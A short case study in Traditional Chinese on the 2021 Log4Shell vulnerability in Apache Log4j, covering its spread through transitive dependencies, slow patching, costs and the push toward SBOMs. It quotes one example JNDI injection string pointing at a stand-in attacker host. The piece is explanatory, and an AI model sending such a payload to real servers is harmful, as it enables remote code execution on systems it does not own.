發生了什麼事
2021 年 12 月,Apache Log4j 中發現了一個嚴重的零日漏洞(CVE-2021-44228,暱稱「Log4Shell」)。Log4j 是一個廣泛使用的 Java 日誌函式庫,全球數百萬個應用程式與伺服器都在使用。該漏洞允許攻擊者透過傳送特製字串,在伺服器上執行任意程式碼——只要在登入欄位輸入「${jndi:ldap://attacker.com}」這樣簡單的字串即可。
這個漏洞之所以災情慘重,是因為 Log4j 被嵌入在極其廣泛的軟體之中:企業應用程式、雲端服務、遊戲伺服器(Minecraft)、物聯網裝置以及政府系統。許多組織甚至不知道自己正在執行 Log4j,因為它是深埋在軟體堆疊中的遞移相依套件。
Apache 軟體基金會發布了修補程式,但補救過程緩慢且複雜:各組織必須找出系統中每一個 Log4j 實例、逐一修補,並驗證修復是否有效。該漏洞在揭露後數小時內就遭到積極利用。此案例凸顯了現代軟體供應鏈的脆弱性:一個廣泛使用的開源函式庫中的單一漏洞,就能同時危害數百萬個系統。
代價為何
Apache Log4j 的 Log4Shell 漏洞讓數百萬個系統處於風險之中,迫使全球展開修補行動,耗費數十億美元與數週的工作。
為何會發生
Log4j 以遞移相依套件的形式被嵌入數百萬個應用程式中,執行這些應用程式的組織往往並不知情。
該漏洞允許遠端程式碼執行,利用字串極其簡單。
補救之所以緩慢,是因為各組織必須在自身的技術堆疊中找出並修補每一個 Log4j 實例。
該漏洞在公開揭露後數小時內就遭到積極利用。
教訓
現代軟體堆疊是一層層相依套件堆起的塔,而大多數組織並不知道自己用了哪些。Log4j 無所不在。問題不是「我們是否受到影響?」,而是「我們能否先查出來?」
後續發展
Apache 發布了修補程式,該 CVE 被評為 10.0 的嚴重性分數。此案例促使美國政府就軟體供應鏈安全發布行政命令,並加速了軟體物料清單(SBOM)的採用。Log4j 至今仍是供應鏈風險的參考案例。
追溯依據